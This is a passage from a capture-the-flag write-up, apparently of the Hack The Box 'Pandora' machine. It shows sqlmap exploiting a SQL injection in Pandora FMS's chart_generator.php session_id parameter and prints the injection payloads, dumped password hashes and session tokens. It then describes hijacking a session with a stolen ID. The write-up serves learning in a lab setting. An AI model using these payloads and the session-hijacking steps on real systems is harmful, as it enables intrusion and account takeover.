[07:42:00] [INFO] retrieved: datetime
[07:42:00] [INFO] fetching entries for table 'tpassword_history' in database 'pandora'
[07:42:00] [INFO] the SQL query used returns 2 entries
[07:42:00] [INFO] retrieved: 2021-06-11 17:28:54
[07:42:00] [INFO] retrieved: 0000-00-00 00:00:00
[07:42:00] [INFO] retrieved: 1
[07:42:00] [INFO] retrieved: matt
[07:42:01] [INFO] retrieved: f655f807365b6dc602b31ab3d6d43acc
[07:42:01] [INFO] retrieved: 2021-06-17 00:11:54
[07:42:01] [INFO] retrieved: 0000-00-00 00:00:00
[07:42:01] [INFO] retrieved: 2
[07:42:01] [INFO] retrieved: daniel
[07:42:01] [INFO] retrieved: 76323c174bd49ffbbdedf678f6cc89a6
[07:42:01] [INFO] analyzing table dump for possible password hashes
[07:42:01] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: pandora
Table: tpassword_history
[2 entries]
+---------+---------+---------------------+----------------------------------+---------------------+
| id_user | id_pass | date_end | password | date_begin |
+---------+---------+---------------------+----------------------------------+---------------------+
| matt | 1 | 0000-00-00 00:00:00 | f655f807365b6dc602b31ab3d6d43acc | 2021-06-11 17:28:54 |
| daniel | 2 | 0000-00-00 00:00:00 | 76323c174bd49ffbbdedf678f6cc89a6 | 2021-06-17 00:11:54 |
+---------+---------+---------------------+----------------------------------+---------------------+
[07:42:12] [INFO] table 'pandora.tpassword_history' dumped to CSV file '/root/.sqlmap/output/localhost/dump/pandora/tpassword_history.csv'
[07:42:12] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost'
[*] shutting down at 07:42:12
There are some MD5 passwords we might be able to use. I search for them on https://crackstation.net/ but nothing came back.
Now for the session table.
sqlmap --url "localhost:8080/pandora_console/include/chart_generator.php?session_id=''" --dbms mysql -D pandora -T tsessions_php --dump
_
___ ___| |_____ ___ ___ {1.0.9.32#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 07:43:42
[07:43:42] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: session_id (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: session_id=''' RLIKE (SELECT (CASE WHEN (7980=7980) THEN 0x2727 ELSE 0x28 END))-- FWHp
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: session_id=''' OR (SELECT 8604 FROM(SELECT COUNT(*),CONCAT(0x7171717671,(SELECT (ELT(8604=8604,1))),0x7171627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- dREj
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: session_id=''' OR SLEEP(5)-- VzZo
---
[07:43:43] [INFO] testing MySQL
[07:43:43] [INFO] confirming MySQL
[07:43:43] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[07:43:43] [INFO] fetching columns for table 'tsessions_php' in database 'pandora'
[07:43:43] [WARNING] reflective value(s) found and filtering out
[07:43:43] [INFO] the SQL query used returns 3 entries
[07:43:43] [INFO] retrieved: id_session
[07:43:43] [INFO] retrieved: char(52)
[07:43:43] [INFO] retrieved: last_active
[07:43:43] [INFO] retrieved: int(11)
[07:43:43] [INFO] retrieved: data
[07:43:44] [INFO] retrieved: text
[07:43:44] [INFO] fetching entries for table 'tsessions_php' in database 'pandora'
[07:43:44] [INFO] the SQL query used returns 391 entries
[07:43:44] [INFO] retrieved:
[07:43:44] [INFO] retrieved: 04qv0ieochu3kleoobsslosuas
[07:43:44] [INFO] retrieved: 1651389855
[07:43:45] [INFO] retrieved:
[07:43:45] [INFO] retrieved: 07quhh986gp4ivubrlcuammmj8
[07:43:45] [INFO] retrieved: 1651389868
[07:43:45] [INFO] retrieved: id_usuario|s:6:"daniel";
[07:43:45] [INFO] retrieved: 09vao3q1dikuoi1vhcvhcjjbc6
[07:43:45] [INFO] retrieved: 1638783555
[07:43:45] [INFO] retrieved:
[07:43:46] [INFO] retrieved: 0ahul7feb1l9db7ffp8d25sjba
[07:43:46] [INFO] retrieved: 1638789018
[07:43:46] [INFO] retrieved:
[07:43:46] [INFO] retrieved: 0as2t0ba35uda375oph768d3eu
[07:43:46] [INFO] retrieved: 1651389944
[07:43:46] [INFO] retrieved:
[07:43:46] [INFO] retrieved: 0c0sb6juonehcf852jpbfkjk8a
[07:43:47] [INFO] retrieved: 1651389953
[07:43:47] [INFO] retrieved:
[07:43:47] [INFO] retrieved: 0eactt6q66lvo40gq5ndvokeql
[07:43:47] [INFO] retrieved: 1651389855
[07:43:47] [INFO] retrieved:
[07:43:47] [INFO] retrieved: 0ekt93suaqbt214qrr4jaotsuh
[07:43:48] [INFO] retrieved: 1651389958
[07:43:48] [INFO] retrieved:
[07:43:48] [INFO] retrieved: 0js1q11foc3d1po7odevla2h5g
[07:43:48] [INFO] retrieved: 1651389943
[07:43:48] [INFO] retrieved:
[07:43:48] [INFO] retrieved: 0kq643dikrq0p4t5tl8p3ghf6s
[07:43:48] [INFO] retrieved: 1651389868
[07:43:49] [INFO] retrieved:
[07:43:49] [INFO] retrieved: 0lumitmr74spnoj449k4mefv79
[07:43:49] [INFO] retrieved: 1651389877
[07:43:49] [INFO] retrieved:
[07:43:49] [INFO] retrieved: 0mkmejjaj5dh7sq49v543jlsum
[07:43:49] [INFO] retrieved: 1651389955
[07:43:49] [INFO] retrieved:
[07:43:50] [INFO] retrieved: 0peh1d7ghlmgsha5gj0e0hdjmb
[07:43:50] [INFO] retrieved: 1651389856
[07:43:50] [INFO] retrieved:
[07:43:50] [INFO] retrieved: 0qof46e9co2c1t32qbi28lsa0q
[07:43:50] [INFO] retrieved: 1651389942
[07:43:50] [INFO] retrieved:
[07:43:51] [INFO] retrieved: 0the81loplsu3f3gu8ogg13tm8
[07:43:51] [INFO] retrieved: 1651389865
[07:43:51] [INFO] retrieved:
[07:43:51] [INFO] retrieved: 1081bvoccvg4poolf5j5b7rt3f
[07:43:51] [INFO] retrieved: 1651389854
^C
[07:43:51] [WARNING] user aborted during enumeration. sqlmap will display partial output
[07:43:51] [INFO] analyzing table dump for possible password hashes
Database: pandora
Table: tsessions_php
[16 entries]
+----------------------------+--------------------------+-------------+
| id_session | data | last_active |
+----------------------------+--------------------------+-------------+
| 04qv0ieochu3kleoobsslosuas | NULL | 1651389855 |
| 07quhh986gp4ivubrlcuammmj8 | NULL | 1651389868 |
| 09vao3q1dikuoi1vhcvhcjjbc6 | id_usuario|s:6:"daniel"; | 1638783555 |
| 0ahul7feb1l9db7ffp8d25sjba | NULL | 1638789018 |
| 0as2t0ba35uda375oph768d3eu | NULL | 1651389944 |
| 0c0sb6juonehcf852jpbfkjk8a | NULL | 1651389953 |
| 0eactt6q66lvo40gq5ndvokeql | NULL | 1651389855 |
| 0ekt93suaqbt214qrr4jaotsuh | NULL | 1651389958 |
| 0js1q11foc3d1po7odevla2h5g | NULL | 1651389943 |
| 0kq643dikrq0p4t5tl8p3ghf6s | NULL | 1651389868 |
| 0lumitmr74spnoj449k4mefv79 | NULL | 1651389877 |
| 0mkmejjaj5dh7sq49v543jlsum | NULL | 1651389955 |
| 0peh1d7ghlmgsha5gj0e0hdjmb | NULL | 1651389856 |
| 0qof46e9co2c1t32qbi28lsa0q | NULL | 1651389942 |
| 0the81loplsu3f3gu8ogg13tm8 | NULL | 1651389865 |
| 1081bvoccvg4poolf5j5b7rt3f | NULL | 1651389854 |
+----------------------------+--------------------------+-------------+
[07:43:51] [INFO] table 'pandora.tsessions_php' dumped to CSV file '/root/.sqlmap/output/localhost/dump/pandora/tsessions_php.csv'
[07:43:51] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost'
[*] shutting down at 07:43:51
So those id_session are potentially interesting, we may be able to use those with a Session Hijacking Attack.
If we copy one of the id_session values for Daniel and paste it into our browser, using the vulnerable chart url, we should be able to start a valid session in the application.
http://localhost:8080/pandora_console/include/chart_generator.php?session_id=SESSION_ID_HERE
Note: might need to let teh session dump from sqlmap run all the way through, and use a recent session token.
TO BE CONTINUED
going to bed
Conclusion
Key Learnings, Techniques and Tools
- gobuster
- nmap - TCP and UDP
- snmpcheck - SNMP information discovery tool
- sqlmap - SQL injection automation tool
- temp-mail.org - Disposable Temporary E-mail service
- RCE - Remote Code Execution
- PVESC - Priveldge Escalation
Check the easy things first.
I knew I was on a box running Apache, I should have checked the running sites and the hosts files first. Instead I was blundering around that host_check file for a few minutes, and found some hosts in it’s log file.
I didn’t check to see what other home directories there were until much later. That would have been an easy thing to do.
Resources
Thanks to others for the great writeups. These helped to get me unstuck, and learn a few more tools.
- https://brainful.blog/2022/01/19/enumeration-2/
- https://blog.peterjbrowning.com/2022/01/htb-writeup-pandora
- https://dante-cyber.medium.com/pandora-hack-the-box-a3884a5e054f